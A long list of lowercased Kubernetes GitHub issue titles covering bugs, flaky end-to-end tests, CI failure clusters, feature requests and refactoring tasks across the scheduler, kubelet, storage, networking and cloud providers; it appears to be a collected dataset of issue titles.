set kubelet start parameters node-ip/enable-controller-attach-detach/cloudprovider lead to panic

a failed e2e case \ should be consumable from pods in volume with mappings as non-root\

unable to access the host ip on lan from inside the pod of kubernetes.

unable to volume mount named pipe using hostpath on windows container

scheduler cleanup phase 1 : move  nodeinfo  utils into pkg/scheduler/cache

keep a rolling average on resource creation and initial notification via watch

split the fuzzers by apigroup and move into their pkg/apis/<apigroup>/fuzzer package

sq-blocking  kubemark presubmit failing to create pod in kubemark cluster

invalid memory address or nil pointer dereference when creating a persistentvolumeclaim on gcp

create dry-run query parameter on create/update/patch/delete handlers

kube-controller-manager - panic: runtime error: index out of range

k8s.io  pods should support remote command execution over websockets {kubernetes e2e suite}

docker daemon hang for unknown reason cpu high on docker process after restart master node

windows    build proxy.go fails to build with \ go build\  command

unable to connect to the server: dial tcp  ::1 :8080: connectex: no connection could be made because the target machine actively refused it. windows 10

volume resize tests are failing in multizone and alpha environment

newnvidiagpumanager should not depend directly on docker libdocker.interface

kube cronjob errors: \ failed to retrieve checkpoint for sandbox ...: checkpoint is not found.\

kube dns issue with node js  there is error 1 error: getaddrinfo eai_again

curl will hang, if service's endpoint is not ready type as nodeport

kube-apiserver: startup code should tolerate starting before etcd

maxinflight filter should not limit controlling requests like leader election

all endpoint controller workers stuck at http call because of missing timeout setting

advanced audit invalid audit saved for meta.k8s.io/v1.deleteoptions

kubelet on windows consuming 100% cpu running multiple powershell process with get-netadapterstatistics

node e2e support running tests against different kubelet flag values for the same flag

remove --require-kubeconfig and the default kubeconfig path in v1.10

apiservice conditions should be set by the apiservice controller

readjust qps defaults for c-m after moving gc to new dynamic client

kubectl can't create deployment \ already exists\  but can't delete deployment \ not found\

strategic patch doesn't keep order of duplicated elements in the list

feature request: let  kubectl top node  show label columns as  kubectl get

cve-2019-1002100: json-patch requests can exhaust apiserver resources

kube-proxy goes in  non-operational mode after cleanup without reporting when cleanup job is done

watch/list options timeout type is incompatible with time.duration

hack/test-cmd.sh referencing gcr.io/google-containers/perl which cannot be docker pull-ed

cri: exec/attach requests don't let you disable stdout or stderr

having rolling update strategy and updating \ replicas\  result in rolling update

kubernetes master node systemd process is taking 100% cpu and kubelet is not starting up

bug: namespaces not shown when querying 3prs across all namespaces

kube continually tries to delete service that is already deleted

apiserver requesttimeout may conflicts with  handlers finishrequest timeout

bogus kubeconfig prevents \ kubectl version --client=true\  returning client version

portworx volumes cannot be mounted if 9001 port is already in use on the host

kubelet fails starting cri-o containers  ubuntu 18.04 + systemd cgroups driver

unable to provision ssd using volumeclaimtemplates  volume.beta.kubernetes.io/storage-class: ssd

failure cluster  d6a4c0...  failed 117 builds, 13 jobs, and 10 tests over 1 days

pull-kubernetes-e2e-gke failed consistently due to \ cluster_api_version not found\

a question about the automatic update of deployment with kubernetes 1.9

kubernetes can't recreate pods with pvc if node goes into \ notready\  state

plugin registration: create and delete events could be handled out of order

aws: cloudformation / make a self-contained and complete cloudformation template

can node expose the real allocatable status for external monitor system?

federation  kubefed  api server in waiting state fails to attach volume pvc : used kubefed tool with k8s 1.5.1

bug  threadsafemap: the obj has already been removed， but index is still in it

pod not removed from the api server after deletion with grace period

azure: automatic acr docker cred integration doesn't work with usemanagedidentity

a pod using a portworx volume driver pvc gets stuck in containercreating phase

tls-cert-file is stored at different locations for variants of apiservers.

apiserver: allow to pass a listener into genericapiserver bootstrapping

azure cluster using managed identity failed to boot due to 'blob disk controller' failure

scheduler should delete a node from its cache if it gets \ node not found\  error

migrate kubelet --rotate-certificates to kubelet.config.k8s.io or remove the flag

k8s: 1.11.3 - hpa: failed to get cpu utilization: unable to get metrics for resource cpu: unable to fetch metrics from resource metrics api: unauthorized

creating a watch using events  .withlabel \ foo\ , \ bar\   does not pick up events for namespaces and contained objects with that label.

make sure that controllers are not adopting children that are marked for deletion

unable to register node with api server with rbac authorization-mode

kube-apiserver container panics if i add a /openapi/v2 route to my apiservice

unable to run \ garbage collection test:\  e2e_node tests due to grpc connection issue

endpoints without service get removed on controller leader acquire

10 gke 1.4-1.6 upgrade jobs fail a variety of job, schedulepredicate tests

having programable, the waiting time before the \ autoscale-up/down\  is effective

scheduler's priority queue should implement back-off mechanism when moving pods to the active queue

orphaned pods after job is deleted via successfuljobshistorylimit

k8s.io  services should work after restarting kube-proxy  disruptive  {kubernetes e2e suite}

volumemount for configmap fails to be remounted - nested mountpoints

add e2e test for local volume provisioner v2+ to ensure non-bind-mounted filesystems in the discovery directory are ignored.

kubectl test adds taints to a node and may interfere with other test

failed to create rbd image: fork/exec /usr/bin/rbd: invalid argument, command output:

kube-proxy \ panic: non-positive interval for newticker\  when using ipvs mode & default values

k8s-1.10: one of the kube-proxy pod failed to get up after restart

ws2016 pods running with hyper-v are not accessible via service ip on windows server version 1803 nodes

validating admission webhook failures are treated as internal server errors

containermanager system validation fails when running kubelet in hyperkube container via rkt

openapi static init is 50% of startup time for binary that links to it

cadvisor container_network_  metrics are coming with container_name=\ pod\  instead of container_name=\ real name of container\

prometheus-to-sd-exporter and fluentd-gcp pods unready during e2e-gci-gce-scalability medium-scale cluster setup

how to choose the persistentvolume types when binding pvcs to pvs

aws: changing loadbalancersourceranges does not change securitygroup

k8s.io  federated ingresses  feature:federation  federated ingresses ingress connectivity and dns should be able to connect to a federated ingress via its load balancer {kubernetes e2e suite}

kubeadm init failed :  wait-control-plane  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ . this can take up to 4m0s

rox volumes should have a readonly flag set in gluster volume spec

e2e:  sig-storage  in-tree volumes  driver: gluster   testpattern: inline-volume  default fs   subpath should fail for new directories when readonly specified in the volumesource

cloud controller manager is initializing nodes multiple times, slow to finish initializing all nodes

k8s.io  networking should provide unchanging, static url paths for kubernetes api services  conformance  {kubernetes e2e suite}

elasticsearch: max file descriptors  1024  for elasticsearch process is too low, increase to at least  65536

global inter-namespace cluster secrets - secrets that work across namespaces

1.11 auth error from dynamic client when accessing a crd is wrong

k8s.io  kubectl client  k8s.io  kubectl api-versions should check if v1 is in available api versions  conformance  {kubernetes e2e suite}

gce: project id used for firewall mgmt instead of network project id

failure cluster  fdb61c...  failed 187 builds, 1 jobs, and 1 tests over 1 days

upgrading to 1.8 broke service backwards compatibility by not allowing the same target port multiple times

failing test :  sig-storage  persistentvolumes-local local volume provisioner  serial  should create and recreate local persistent volume

kubelet makes a lot of noise complaining about missing volumes subdir for static pods

k8s.io  deployment paused deployment should be ignored by the controller {kubernetes e2e suite}

k8s.io  esipp  slow  feature:externaltrafficlocalonly  should handle updates to source ip annotation  slow  feature:externaltrafficlocalonly  {kubernetes e2e suite}

k8s.io  statefulset  k8s.io  basic statefulset functionality should handle healthy stateful pod restarts during scale {kubernetes e2e suite}

the latest elasticsearch and kibana images are missing in gcr.io

is it reasonable putting all node as members for service with type load balancer

hpa not working: failed to get cpu utilization: unable to get metrics for resource cpu: failed to get pod resource metrics

externalips service abstraction not preserving real client-ip even when using externaltrafficpolicy

--vmodule used in scalability tests is adding significant concention

failing test: sig-gcp gke-gci tests are failing on diff due to pv leak

add certificate rotation support to dynamic kubelet config loader

daemonset and statefulset controllers should be consistent in annotation propagation to controllerrevisions

kubectl get -o json  swallows collection metadata & resourceversion

using ipvs and hostnetwork=true causes pods not able to communicate with service addresses

error loading cni config file /etc/cni/net.d/10-flannel.conf: no 'type'; perhaps this is a .conflist

allow service controller to indicate that it has cleared load balancer resources

1.6 to 1.5 master downgrade fails because it can't find $kube_home/bin/mounter

getonetimeresourceusageonnode  e2e/framwork function no longer works

figure out how to reduce any watch or http errors in schduler_perf

dns-horizontal-autoscaler should update scaling params if users are using defaults

kube-apiserver 1.6.1 bring up relies on localhost not resolving via dns

in-cluster kubectl can't get nonresource url in  local-cluster-up

crd resourceversion is incremented without any modifications made to the object

frequent \ end of json input\ , from kubectl >= 1.7 with old/empty cache

remove non-standard, undocumented, unused, or deprecated github labels

garbage collector doesn't delete 'exited' containers. as result we get nodes in 'notready' status

fluentd-elasticsearch does not send events after they are filtered and processed

failure cluster  b91c1bd7...  \ root container  kubepods  doesn't exist\

no option to write hook on notification on top of kubernetes deployment completion or deployment stuck

vshere cloud provider on the controller-manager fails to start on non-vmware hosts

azure cluster failing conformance tests due to denyescalatingexec admission controller

rbd storageclass - default adminid not used when deleting volume

validatingadmissionwebhook appears incapable of listening for apps/v1 deployments

the latency of api request was affected by compact when use etcd 3.3

kubeadm: unable to set experimental-encryption-provider-config flag to api-server

why not create cgroup dir /sys/fs/cgroup/cpuset/system.slice.. etc   in kubelet starts

cmd/kubeadm/app/phases/addons/dns: testtranslatestubdomainkubednstocoredns/if_hostname_present:_omit_hostname unit test is flakey

k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule pets if there is a network partition  slow   disruptive  {kubernetes e2e suite}

\ pod disks should be able to detach from a node which was deleted\  failing in release 1.7 branch

vsphere cloud provider - k8s cluster stopping see nodes if  vcentrer is unavailable

bug-report  kube-scheduler: nodeinfo cache is not consistent with etcd

it is impossible to deploy identical nlb backed service in two different k8s clusters in same aws region

\ terminate called after throwing an instance of 'google::metadataupdater::configurationvalidationerror '\

question about network resource management  especially for switch buffer

k8s.io  loadbalancing: l7  feature:ingress   k8s.io  nginx  slow  should conform to ingress spec {kubernetes e2e suite}

kubernetes deleted volume unexpectedly while leaving pv/pvc state unchanged

flex volume use wrong device path to mount volume after node or cluster reboot and device path change

flexvolume unable to mount plugins that do not require an attach.

failure cluster  6962e1...  failed 59 builds, 10 jobs, and 1 tests over 1 days

failing test:  sig-scheduling   feature:gpudeviceplugin  run nvidia gpu device plugin tests

failed test operation in json patch should return 4xx, not 500 internal server error

windows nodeport doesn't work when it's the same as the service port

clarify our support/compatibility with other configuration management software

kubectl run deployments are created without any change-cause annotation by default

rest api - getting a single resource without namespace returns 404

failing test :  sig-storage  in-tree volumes  driver: hostpath   testpattern: inline-volume  default fs   volumeio should write files of various sizes, verify size, validate content  slow

support all namespace to clusterrolebings  subjects.namesapce  when kind is serviceaccount

e2e's require that env be as it was when the cluster was deployed

field names in validation errors need to be translated from internal name to external name

1.5 to 1.6 upgrade failure: privilegedpod should test privileged pod

deleting a namespaced job returns different response types depending on the options in the request

set percentage of nodes scored in each cycle dynamically based on the cluster size

kubernetes 1.2.4 - incorrectly reporting kubelethassufficientdisk

resource quota calculating incorrect under heavy resource creation

need example for preferredduringschedulingignoredduringexecution

pr:pull-kubernetes-federation-e2e-gce flaked 126 times in the past week

prevent the deletion of a pvc that is referenced by an active pod

kubernetes e2e suite. sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  scaling should happen in predictable order and halt if any stateful pod is unhealthy  conformance

sig-storage : dynamic provisioning dynamicprovisioner failing tests in sig-release master-blocking

seccomp annotations silently do nothing with docker runtime on debian jessie

admission control factory pattern needs to allow additional constructor arguments

kubectl delete jobs get's rate limited and prints out annoying logs

can it add an common printer to print version message for debugging in printandexitifrequested function

support for attach/detach of local pvs to pod without pod restart

openstack support missing from persistentvolumelabel admission controller

\ firewall rule should have correct firewall rules for e2e cluster\  flakes

when the namespace is delete ,the pods under the namespace  can not be deleted and  are always terminating, the kubelet logs show 'couldn't get secret'

eviction manager ignore pods created by daemonset, kubelet manifest and statefulset.

don't update the pod object after each scheduling attempt by adding a timestamp to the scheduling queue

ubuntu provider script is failing and not able to reach api-server  ubuntu,cluster,ubuntuprovider script

add event when a readiness probe becomes healthy after being unhealthy

why kubelet was not started   /etc/kubernetes/pki/ca.crt: no such file or directory ?

kubelet should retry refreshing its ecr token when throttled by aws api

k8s.io  cluster size autoscaling  slow  shouldn't increase cluster size if pending pod is too large  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}

gce: tag cloud resources with \ tag:kubernetes.io/cluster/<clusterid>\

move unschedulable pods to the active queue if they are not retried for more than 1 minute

no api token found for service account default/default, retry after the token is automatically created and added to the service account

default serviceaccount and token not created when a namespace is re-created.

need e2e test for configurable pod resolv.conf  a.k.a custompoddns

enhanced kube-proxy:iptables testing with iptables-restore --test

sq-blocking  all kubemark jobs started failing due to kubelet changes

have garbage collector use patch to update finalizers, not update

externalname service doesn't generate environment variables for service discovery

cannot update service from another type to externalname because of clusterip and port

after the installation of kubernetes 1.4.3 on centos7.2, failed to reboot the host

k8s.io  container runtime conformance test container runtime conformance blackbox test when running a container with a new image should be able to pull image from docker hub  conformance  {e2enode suite}

vsphere  volume teardown fails when running containerized kubelet and volume path has space

kube-apiserver crashes when patching a nodeport service with two ports

make  testconfig an object rather than a statically referenced var

encryption configuration file: show a warning when the file is readable to all

node controller doesn't recheck that a node has the correct aws tags on retry

k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover

should return error when rollback deployment to a nonexistent revision

error: couldn't read version from server  installing kubernetes on coreos

k8s reports pod as \ terminated: error\  with \ error syncing pod, skipping: rpc error: code = 2 desc = error: no such container\

apiserver memory usage increased by 10-20% after addition of admission metrics

when kubelet started, can't get valid node  ephemeral-storage  in update node status

add cloudprovider as alt. to nodeport for exposing internal services.

spurious errors in kubelet logs when container has already terminated on killpod

the server can not get the correct client ip when the client request server by clusterip

the period of \ waiting for new master to respond to api requests\  is too long

if update the targetport can i set the item into service controller work enqueue ?

possible bug:  kubectl get --export  for singular item omits  namespace

aws: tagging the security group of elb created for loadbalancer or ingress

probing container should  not  be restarted with a /healthz http liveness probe  conformance  {e2enode suite}

gke: error creating cluster: error during gcloud container clusters create

node controller needs to precondition pod deletion against pod uid

\ cannot join network of a non running container\  failed to start a container

mkdir -p /opt/gogs/user4 permission denied error inside pod when using mount for /opt/gogs

flake: data race in federation/pkg/federation-controller/replicaset unit test

requirements for opaque integer resources to graduate from alpha to beta

failure cluster  156b8f...  failed 119 builds, 17 jobs, and 1 tests over 1 days

kubectl apply will not add protocols to services that already exist

move docs for \ gce load-balancer controller  glbc  cluster addon\  into k8s.io

rfc  garbagecollector  expose the progress of garbage collection

k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  scaling should happen in predictable order and halt if any stateful pod is unhealthy

migrate scalability jobs to prow and off centralized jenkins before end of 1.9 timeframe

dnskube and dnsmasq fail to achieve healthy state when rbac is applied on minikube

kubectl get pv -n namespace  does not filter output by namespace

k8s.io  cluster level logging using elasticsearch  feature:elasticsearch  should check that logs from containers are ingested into elasticsearch {kubernetes e2e suite}

k8s.io  deployment deployment should support rollback when there's replica set with no revision {kubernetes e2e suite}

kubelet  ignore keyword \ options\  define in /etc/resolv.conf, only look for nameserver and search

apiserver would panic if imagepolicywebhook enabled and no configuration provided

i use azure storage in china area; but the api is not \ core.chinacloudapi.cn\ ;

setting is-default-class=false does not persist on azure's \ default\  storageclass

node get taint 'node.alpha.kubernetes.io/notready' when node become 'unknown' form 'notready''

workload controller's template hash label and resource names inconsistency

windows  running state skipped if the container fails fast after back off

1.6 upgrade testing -  k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance

scheduler should handle pod updates during scheduling more gracefully

/run/secrets/kubernetes.io/serviceaccount is not exited in docker container

existing pods after restrictive limitrange applied may cause issues

translate heroku app.json and/or cloudfoundry application manifests to k8s

k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner should create and delete persistent volumes  slow  {kubernetes e2e suite}

failure cluster  9c0f0e...  failed 73 builds, 36 jobs, and 1 tests over 1 days

dockershim  and other runtimes : take advantage of new cni capabilities

kubectl get pods on non-existing namespaces does say anything that the namespace does not exist

kubectl describe cronjobs - bad value in successful job history limit

federation  kubefed  should be possible to disable persistent storage for etcd

federation  kubefed  enable dnsaas configuration for non-cloud deployments

k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {e2enode suite}

gce node startup scripts missing variable to add \ volume-plugin-dir\  kubelet flag.

default-http-backend  service shouldn't select  l7-lb-controller  pod as backend

'make quick-release' is failing with git version information missing; cannot create docker tag

kube-proxy in ipvs mode does not synchronize ipvs status correctly

defining log-driver and log-opt when specifying pod in rc and pod

could not find endpoints for service \ kubelet\  in namespace \ kube-system\ . dns records will be created once endpoints show up

unable to signify a successful operation on pod with last initializer from initializers list.

rawextension fields do not get converted correctly during update

kubelet_getters getpodvolumepathlistfromdisk   does not check block volume case

failure in creating service & deployment still creates deployment

kubelet didn't started pod: \ failed to create pod infra container\

kube-proxy does not update iptables for default/kubernetes endpoints

kubelet built from master panics: \ invalid memory address or nil pointer dereference\

podnodeselector and podtolerationrestriction feature status is unclear

deviceplugin  change the multiple allocate call to a single pod admit call

kubelet doesn't release ip of the pod which has been deleted when kubelet is restarted

transition service account controller clients to tokenrequest api

k8s.io  dns should provide dns for services  conformance  {kubernetes e2e suite}

proposal add support to delete specified pods when scaling a deployment

federation  running federation e2e tests locally with multiple clusters fails if the user's context is not set to the e2e test host cluster context

kubectl get  should have a way to filter for advanced pods status

kubernetes cronjob pods generate invalid \ unable to mount volumes for pod\  errors

psp/adminsioncontroller- take the intersection of user and serviceaccount for podsecuritypolicy authorization

k8s.io  services should be able to create a functioning nodeport service {kubernetes e2e suite}

updateloadbalancer is not called for a service with type=loadbalancer when pods are added/deleted

got \ peer's certificate has expired\  error when installing k8s components from yum repo.

testcascadingdeletion flaky  timed out waiting for the condition

add explicit \ installed\  and \ migratedonnode\  fields to csinodeinfo

scheduler cleanup phase 2 : move priority types from  pkg/scheduler/algorithm  to  pkg/scheduler/algorithm/priorities

limit retries to schedule new pods, if resources are not available with error \  'failedscheduling' failed for reason podfitsresources and possibly others\

x509 auth: multiple groups are not supported when using certificates generated by cfssl

ci-kubernetes-e2e-gce-alpha-features is failing beforesuite: too many bad pods

elevated kube-apiserver memory usage caused 100-node test failure

use of resourceversion=0 in reflectors for initial sync breaks pod safety when more than one master

scheduler preemption: take pod's starttime into account when select potentialvictims

cve-2019-11244:  kubectl --http-cache=<world-accessible dir>  creates world-writeable cached schema files

cgroup driver \ systemd\  does not work with custom cpu cfs quota period

the versionedparams   does not decode the   envvar fields properly

consistently set/clear selflink for both new/old objects passed to validateupdate

use a map to function interface{}, interface{}  to access generated conversions

access service get report:\ no endpoints available for service \\\ xxxx\\\ \

kubectl 1.8 commands print openapi fallback warning every time talking to 1.6 clusters

kubeadm init hangs with getsockopt: connection refused. k8s=1.7.5

if set readiness for statefulset pod , peer-finder.go can not work well

openstack lbaas v2 behaves differently depending on the provider

node controller unresponsive, not cleaning up node/evicting pods when node fails due to memory pressure

automatically detect switf url on openstack does not cope with multiple object stores

cri  docker shim should persist runtime config options like podcidr

deleted windows pods get stuck in \ terminating\  state in controller-manager

google oidc id tokens unexpectedly lose their audience when refreshing w/ kubectl

csi label manager labels node name as the nodes name, not the nodeid from the csi driver

failure cluster  236a7a...  failed 71 builds, 8 jobs, and 1 tests over 1 days

webhooks: use ssh tunnels iff the webhook is not directly routable from apiserver's network environment

the container running permission under ubuntu system is always root

k8s.io  docker containers should be able to override the image's default command and arguments  conformance  {kubernetes e2e suite}

deleting a namespace sometimes leaves orphaned deployment and pods which can't be deleted

cannot list custom objects defined by crd with non-conventional pluralization

azure disk: storage class should support the sku if the storage accout support it

cronjobs not showing as failed in gke ui when job fails due to  deadlineexceeded

elasticsearch-logging rc and svc are getting automatically deleted

pkg/client/record/events_cache.go is using internal api versions to diff

k8s.io  networking  k8s.io  granular checks: services  slow  should function for pod-service: http {kubernetes e2e suite}

cri  kube-up with gce/container-linux  previously gce/coreos  doesn't work well

flex volumes which implement getvolumename api are getting unmounted during run time.

failure cluster  383b71...  failed 74 builds, 31 jobs, and 454 tests over 1 days

device plugin  will kubelet failed the pod with unhealthy device?

systemverification and filecontent error when calling kubeadm join on hypriot  raspberry pi

aws t3 instance is missing cloud providers meta information on the node

create/update of custom resources returns wrong error code for bad requests, 500 instead of 4xx

kubernetes fails to sync node objects in openstack cloud provider

ci-kubernetes-e2e-gke-container_vm-1.4-gci-1.5-upgrade-cluster-new: broken test run

specifying feature gates as a string of key-value pairs in componentconfig structures is awkward

failing test :  sig-testing  deferred teardown failing a number of jobs in sig-release-master-blocking and master-upgrade

ownerreferences  not correctly applied for  resoucequota  objects

failed to load kubelet config file /var/lib/kubelet/config.yaml after restart

federation: proposal: support snapshotting or mirroring persistent volumes between clusters

k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 1 pod to 3 pods and from 3 to 5 {kubernetes e2e suite}

wrong node disk capacity calculation when imagefs and nodefs mounts on different device

sandbox for a terminating pod can be deleted and recreated again.

sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restartchanges

sig-apps  \ daemonrestart  disruptive  kubelet should not restart containers across restart \  fails in release master-upgrade dashboard

failing test  timeout :  sig-auth  metadata concealment should run a check-metadata-concealment job to completion

genswaggertypedocs  consumes input file name, not io.reader, and panics on file not existing

short name for statefulset, statefulsets and thirdpartyresources in cli

kubelet 1.7.3 not reading config file /etc/systemd/system/kubelet.service.d/10-kubeadm.conf

the persistvolumelabeler controller should wait for its turn in the pending list of initializers

creating kube-controller-manager pod fails when following steps in scratch.md

attempt to identify gce project based on local context in node e2e

kubelet node-ip support for dynamic ip's to support node autoscaling

cri: handle infra container oom score adj in a runtime agnostic way

services with no backing pods result in frequent endpoints updates

horizontal pod autoscaler doesn't have permissions to read custom metrics api

provide a first-class way to get the kubernetes api server ca cert

persistentvolumes  volume  serial   k8s.io  persistentvolumes:gcepd tests failing on gke-serial

docker ce for windows 10 installed  kubernetes  need  docker toolbox

failure cluster  540a67...  failed 66 builds, 28 jobs, and 1 tests over 1 days

the  recycle  persistentvolumereclaimpolicy should have deprecation notice.

ipsets have family inet in an ipv6-only cluster for proxy-mode=ipvs

write a munger to replace the tabs with spaces in    yaml of  md

parametercodec::decodeparameters seems to be doing strange things

pr:pull-kubernetes-e2e-gce-etcd3 flaked 95 times in the past week

apiserver proxy feature does not rewrite location header on redirects

sig-instrumentation  \ cluster level logging implemented by stackdriver should ingest events\  fails for gce and gke multizone clusters

vsphere cloud provider should support implement zones   interface

test framework log functions should be put into their own package

client-go fake dynamic client forces initialization with an empty slice of objects

handle persistent create route failures and/or route quotas without spamming cloud provider api

add e2e tests for federated replicaset cluster weighting/min/max

statefulset should allow optional burst mode  don't wait for readiness

unstructured codec's encode   method mutates object  potential data race

federation  kubefed  not possible to disable a controller via --controllermanager-arg-overrides

annotations defined on services yaml don't get propagated to corresponding endpoints

test failed   1.10 upgrade   dynamic provisioning dynamicprovisioner

k8s.io  pods should be submitted and removed  conformance  {e2enode suite}

gce pd driver should be mounting with  discard   trim support  when mounting an fs that supports it

need the ability to limit how long of a grace period a pod can declare

all nodes in specific gce zone register then immediately disappear

k8s.io  disruptioncontroller evictions: too few pods, replicaset, percentage => should not allow an eviction {kubernetes e2e suite}

k8s.io  inodeeviction  slow   serial   disruptive  when we run containers that should cause disk pressure due to inodes should eventually see disk pressure due to inodes, and then evict all of the correct pods {e2enode suite}

dynamically propagate changes to the node level /etc/resolv.conf to the pod

kubernetes frontend services should allow to manage cloud dns entries

if pod creation fails due to node being \ read-only\  force the pod to a different node

servicecontroller createloadbalancerifneeded makes unneeded calls to cloud provider

upgrade to go 1.8. resulted in significant performance regression

adding  failure-domain.beta.kubernetes.io/zone  label manually causes node controller panic

pods with volumes stuck in containercreating after cluster node is powered off in vcenter

why \ pull-kubernetes-e2e-gce-etcd3\  reports success even with multiple test failures

the pod-to-pod network does not work when deploy flanneld with daemonset in kubernetes 1.7.5

increase the code coverage of nodecontroller  taintbasedeviction feature

controller never healed from data loss, exceeded aws api rate limit

resource name is not part of request attributes available to the authorizer for create operations

the pods of node capacity and allocatable is 110, but have some pod on the node

pod preset not being applied when using 2:1 volumemount:volume mapping

flaky test  genericpersistentvolume disruptive  when kubelet restarts should test that a volume mounted to a pod that is deleted while the kubelet is down unmounts when the kubelet returns

kube ui and cluster monitoring availble from a secured public ip

unable to write event, worker trying to talk to apiserver on port 80??

cluster/kube-up.sh uses max-age parameter unavailable in ubuntu xenial version of gcloud.

kube-up gce/coreos for recent coreos results in a cluster without port-forward working

feature request: allow openapi references in crd validation schema

k8s.io  kubectl client  k8s.io  simple pod should support exec through an http proxy {kubernetes e2e suite}

suspicious loop in k8s.io/kubernetes/pkg/cloudprovider/providers/aws/aws.go

proposal: just allow health check /healthz without authentification in kube-apiserver

unable to mount volumes for pod: timeout expired waiting for volumes to attach or mount

request for feature:  provide mechanism for one of many containers to cause a pod to exit

/componentstatus checks do not honor tls settings via --etcd-config

custom label on node was lost after vm shut off but not after vm reboot

federated ingress uid configmap reconciliation is incorrectly disabled

kubelet failing to update pod with updated configmap in large cluster

verify-openapi-spec.sh panics when \ openapi-gen path outside of k8s.io/kubernetes\

delete resource with '{\ propagationpolicy\ :\ foreground\ } not return 202

pods on different nodes mount ceph rbd pvc stuck on containercreating

wrong --to-destination determined // util.go uses gateway ip instead of real ip?

terminationgraceperiodseconds: 0 , in petset-pod cause node crash

create does not parse resource memory limit that appears to match regex

cri: podsandbox was restarted in hollow node when running kubemark

kubelet oom killing in 'g1-small' node during huge-cluster perf test

how to get service token in kuberenetes controller manager  to talk to kubernetes api?

kubectl does not display pod status correct when status.reason is nodelost

race condition between listener and client in remote_runtime_test

extract common label/annotation reset functions while setting status into a common utility

change headless services to be a service type rather than magic \ none\

kubectl replace deployment  doesn't remove replicaset from the old deployment

k8s.io  serviceaccounts should ensure a single api token exists {kubernetes e2e suite}

k8s.io  pods delete grace period should be submitted and removed  conformance  {kubernetes e2e suite}

daemonsetcontroller can't feel it when node \bhas more resources, e.g. other pod exits

weave-net: client_address is 10.  despite externaltrafficpolicy: local

1.9.0 issue with kubectl secret generation that works up to 1.8.6

kubernetes is not scaling up when volume node affinity requires a node in specific az  aws

kubernetes secrets get fails with error from server: illegal base64 data at input byte 3 after encrypting the etcd database

aws elbs do not reflect current registered node after scale events

volume that overrides a dockerfile volume doesn't mount into container

openstack cinder storageclass should support also random zone names.

failure cluster  a30885...  failed 71 builds, 11 jobs, and 1 tests over 1 days

kubectl --request-timeout=30s  using in-cluster config doesn't work

kubectl apply with blank clusterip leads to \ spec.clusterip: invalid value: \ \ : field is immutable\  error

group binding  system:serviceaccounts:kube-system  binds to all serviceaccounts clusterwide

provide clearer instruction on how to create a public ip with expose command and improve ux for kubectl for expose command

kubedns not-ready causes test:  k8s.io  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance  failed all the time in ci-kubernetes-e2e-gce-serial

kubelet won't start - /etc/kubernetes/pki/ca.crt: no such file or directory

unable create v1.service with duplicate targetport after upgrade to v1.8

how kubernetes interact openstack when config the cloud provider to openstack

fail to run calico 3.0+ with existing addon yaml files under cluster/addons/calico-policy-controller/

vsphere: kubelet fails when the vsphere provider fails to get node addresses

k8s.io  downward api volume should update annotations on modification  conformance   volume  {e2enode suite}

failure cluster  c70178...  failed 86 builds, 2 jobs, and 8 tests over 1 days

pkg/apis/extensions/validation/validation_test.go: extract function for creating valid psp

fluentd-scaler causing fluentd pod deletions and messes with ds-controller

cpu.cfs_quota_us value incorrectly reported for kubernetes pod as -1

kube-proxy does not update iptables upon default/kubernetes change

kubelet metrics: missing  container_fs_   if volume is mounted after kubelet was up and running.

daemonset controller occasionally fails to schedule desired number of pods

k8s.io  networking  k8s.io  granular checks: services  slow  should update endpoints: udp {kubernetes e2e suite}

statusreason  consts defined in pkg/pkg/api/v1beta{1,2,3}/types.go are not used anywhere

all release-1.5 jobs failing due to leaked resources  mainly master vm and network

k8s.io/kubernetes/pkg/kubectl/apps.testapps test continually failing in test grid

add e2e test that federated servicecontroller recreates deleted services in underlying clusters

deployment enters creation hot-loop when rs field is mutated by api server

openapi generation should escape quotes when outputing  x-kubernetes-print-columns

make pods/exec websocket channel 3 content easier to parse exit code

usage of avx instructions by a container can affect other on the same host

api server memory/goroutines increase over time after v1.11 upgrade

kubeletconfiguration does not support flex volume plugin directory

server code that glog.errorfs or eats errors should use util.handleerror

resolve would-be circular dep between pkg/api/errors/validation.go and pkg/api/types.go

e2e flake  garbage collector should delete rs created by deployment when not orphaning

kubernetes support mutil ceph rbd storageclass in mutil namespace environment

\ invalid value\  error when attempting to modify clusterrolebinding roleref

failing test  vsphere conformance tests failing in master-informing

federation: support deploying federation control plane on non-cloud environment

kube-proxy needs to consider ipv6 '::' bind address when deriving node ip

scheduler cache uses pdb name as the key to store pdb objects. it could cause conflicts.

epic: reducing network overhead and optimizing kubernetes control plane communications

hyperkube sigterm not working for kube-proxy, kube-controller-manager, kube-scheduler

pod name is missing in suggested cmd usage when executing  kubectl attach

gcr.io/google_containers/pause-amd64:3.0 needs version update to support shared pids

add lister expansions for daemonset, deployment, replicaset, and statefulset to apps/v1beta2

failure cluster  44a489...  failed 82 builds, 11 jobs, and 3 tests over 1 days

pull-kubernetes-unit job fails with error when running run_kubectl_get_tests

enable arbitrary crd field selectors by supporting a whitelist of fields in crd spec

container lifecycle  poststart and prestop hooks https schema does not take effect

test-update-storage-objects.sh: don't pass deprecared options to apiserver

failing test   sig-scheduling  preemptionexecutionpath runs replicasets to verify preemption running path tests failing

kubelet's /stats/summary endpoint may return inaccurate imagefs  usedbytes  for docker v1.10+

failure cluster  9ad229...  failed 375 builds, 54 jobs, and 1 tests over 1 days

kubectl exec return error: unable to upgrade connection: pod does not exist /sig-contributor-experience-bugs

dry-run: openapi spec missing dryrun query parameter for post/put/patch operations

k8s.io  deployment scaled rollout deployment should not block on annotation check {kubernetes e2e suite}

e2e breakage:  k8s.io  services should work after restarting apiserver  disruptive

kubectl skew tests between 1.6 and master are flaking because nodes are tainted in parallel

local cluster apiserver and scheduler cpu > 100% and memory utilization too large.

not enough information in jenkins unit/integration failure message on pr page.

opencontrail networking minion and master should run in a daemonset

